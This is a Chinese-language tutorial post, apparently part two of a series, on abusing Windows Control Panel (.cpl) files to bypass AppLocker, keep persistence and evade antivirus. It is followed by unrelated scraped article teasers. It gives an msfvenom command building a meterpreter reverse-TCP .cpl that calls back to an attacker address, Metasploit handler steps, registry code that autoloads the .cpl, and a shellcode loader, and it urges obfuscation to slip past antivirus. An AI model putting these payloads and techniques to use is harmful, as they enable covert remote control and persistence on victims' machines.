巧用cpl文件维权和免杀(下)

cpl文件的应用

bypass Windows AppLocker

什么是Windows AppLocker: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:

开启Applocker规则: 打开计算机管理,选择服务,将Application Identity服务开启

然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则

默认规则为:

假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行

绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd

msf直接生成cpl文件

生成cpl文件msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl

将文件拖到本地并运行,msf监听

  • use exploit/multi/handler

  • set payload windows/meterpreter/reverse_tcp

  • set lhost 192.168.111.128

  • set lport 8877

  • exploit

这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl创建一个项目,作用为修改注册表:

HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

不一定将cpl文件放到c盘更目录,可以自定义路径 执行后

然后这里在开启control.exe时,test.cpl文件也会被打开。

如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。

除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。

使用shellcode自己做一个cpl文件

直接上代码

#include "pch.h"
#include "windows.h"

extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
    MessageBoxA(0, NULL, "test", MB_OK);
    /* length: 835 bytes */
    unsigned char buf[] = "shellcode";
    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

这是最最最最基础的loader 先打开control.exe看看效果

看看查杀率

这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。

经过一系列处理后,找杀毒能力还比较强的360试一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/489453.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

NVIDIA NIM 提供优化的推理微服务以大规模部署 AI 模型

NVIDIA NIM 提供优化的推理微服务以大规模部署 AI 模型 生成式人工智能的采用率显着上升。 在 2022 年 OpenAI ChatGPT 推出的推动下,这项新技术在几个月内就积累了超过 1 亿用户,并推动了几乎所有行业的开发活动激增。 到 2023 年,开发人员…

聊一聊常见的网络安全模型

目录 一、概述 二、基于时间的PDR模型 2.1 模型概念提出者 2.2 模型图 2.3 模型内容 2.3.1 Protection(保护) 2.3.2 Detection(检测) 2.3.3 Response(响应) 2.4 PDR模型思想 2.4.1 PDR模型假设 2…

【k8s】kubeasz 3.6.3 + virtualbox 搭建本地虚拟机openeuler 22.03 三节点集群 离线方案

kubeasz项目源码地址 GitHub - easzlab/kubeasz: 使用Ansible脚本安装K8S集群,介绍组件交互原理,方便直接,不受国内网络环境影响 拉取代码,并切换到最近发布的分支 git clone https://github.com/easzlab/kubeasz cd kubeasz gi…

【openGL4.x手册10】基元程序集和面部剔除

https://www.khronos.org/opengl/wiki/Face_Culling 一、说明 基元汇编是 OpenGL 渲染管道中的阶段,在该阶段,基元被划分为一系列单独的基本基元。经过一些小的处理后,如下所述,它们被传递到光栅器进行渲染。 二 早期原始组装 基…

Spring实例化Bean的三种方式

参考资料: Core Technologies 核心技术 spring实例化bean的三种方式 构造器来实例化bean 静态工厂方法实例化bean 非静态工厂方法实例化bean_spring中有参构造器实例化-CSDN博客 1. 构造函数 1.1. 空参构造函数 下面这样表示调用空参构造函数,使用p…

npm ERR! cb() never called!(已解决)

从仓库拉下来的代码,用npm install时报错 试了很多种方法,结果发现有一种可能是你的node版本过低导致的,可以升级node版本试一下。 node版本升级后,把上一次npm install错误的node_modules删除,重新npm install。

压力测试面试题及答案!

压力测试是软件测试中的一种测试方式,用于评估软件系统在各种压力条件下的性能表现。以下是常见的压力测试面试题及答案: 什么是压力测试? 压力测试是一种测试方式,用于模拟实际用户在正常和峰值负载条件下对软件系统施加的压力&…

java线程池原理浅析

问题与解决: 问题: 查询大数据量的时候,例如一次返回50w数据量的包,循环去查询发现读取会超时。 解决方案: 经过思考采用多线程去分页查询。使用线程池创建多个线程去查询分页后的数据最后汇总一下,解决…

双指针算法_盛水最多的容器

题目: 题目解析: 如图所示,一个数组内部存储的是高度,求数组中,能够组成最大容量的两个元素,需要注意的是容量是 高度*宽度,这里的宽度指的是两个数字之间的距离,且需要注意高度中&…

现代c++内存管理的方式有哪些?

在现代C编程实践中,内存管理是软件开发中的核心议题之一,直接影响着程序的性能、稳定性以及资源的有效利用。C提供了一系列丰富且灵活的内存管理机制,以适应不同场景的需求和应对潜在的内存问题,如内存泄漏、野指针和堆栈溢出等。…

VUE之首次加载项目缓慢

最近公司有个大型的项目,使用vue2开发的,但是最终开发完成之后,项目发布到线上,首次加载项目特别缓慢,有时候至少三十秒才能加载完成,加载太慢了,太影响用户体验了,最近研究了一下优…

java spirng和 mybatis 常用的注解有哪些

当在Java Spring和MyBatis中进行开发时,常用的注解对于简化配置和提高开发效率非常重要。以下是更多常用的注解以及它们的详细说明和用途: 在Spring中常用的注解: Component: 用途:表明一个类会作为组件被Spring容器管…

AJAX(一):初识AJAX、http协议、配置环境、发送AJAX请求、请求时的问题

一、什么是AJAX 1.AJAX 就是异步的JS和XML。通过AJAX 可以在浏览器中向服务器发送异步请求,最大的优势:无刷新获取数据。AJAX 不是新的编程语言,而是一种将现有的标准组合在一起使用的新方式。 2.XML 可扩展标记语言。XML被设计用来传输和…

C++(13) STL 库初识

文章目录 STL 库初识1. STL 库1.1 STL 库的案例1.2 C 标准模板库的三个组件1.3 案例展示 2. 迭代器1.1 概述和分类2.2 代码案例 STL 库初识 1. STL 库 1.1 STL 库的案例 类似学习了模板的概念。CSTL (标准模板库) 是一套功能强大的 C 模板类,提供了通用的模板类和…

【Linux详解】——进程信号

📖 前言:本期介绍进程信号。 目录 🕒 1. 生活角度的信号🕒 2. 技术角度的信号🕘 2.1 Linux中的信号🕘 2.2 进程对信号的处理 🕒 3. 信号的产生方式🕘 3.1 键盘产生🕘 3.2…

svn如何合并代码以及解决合并冲突的问题(把分支代码合并到主版本)

1.选择主版本的文件夹。 ​​​​​​​ 2.选择合并一个不同的分支 3.选择主分支的路径和要合并的代码范围 4.点解next 选择这两个选项 5.然后点击Test merge,查看能否和并成功 有红色的提示,说明是有冲突的, 都是黑色说明能够合并成功 …

【无标题】如何使用 MuLogin 设置代理

如何使用 MuLogin 设置代理 使用 MuLogin 浏览器设置我们的代理,轻松管理多个社交媒体或电子商务帐户。 什么是MuLogin? MuLogin 是一款虚拟反检测浏览器,使用户能够管理多个电子商务、社交媒体和广告帐户,而无需验证码或 IP 禁…

星巴克终止Odyssey Beta NFT计划

日前,咖啡品牌星巴克宣布将于3月31日终止其NFT产品Odyssey Beta客户忠诚度计划。这意味着,曾经旨在改进会员忠诚度的Web3 产品Starbucks Odyssey将终止,构筑多年的Web2会员系统“星享俱乐部”脱去了Web3外衣,回到了本来的面貌。 至…

体验分低导致闭店!抖音小店体验分是什么?教你如何提高体验分!

哈喽~我是电商月月 相信开抖音小店的伙伴们对体验分这个东西都不陌生,但如何有效的提高体验分你们知道吗? 今天,我就来讲讲抖音小店体验分低有什么后果,同时在后面说一下体验分降低如何提高! 大家可根据情况不同自行…

羊大师羊奶靠谱么?品质保障深度解析

羊大师羊奶靠谱么?品质保障深度解析 羊大师羊奶,作为市场上的知名品牌,其靠谱性一直备受消费者关注。那么,羊大师羊奶究竟靠谱不靠谱呢?这就需要从品质保障和消费者信赖两个方面进行深入解析。 从品质保障的角度来看&…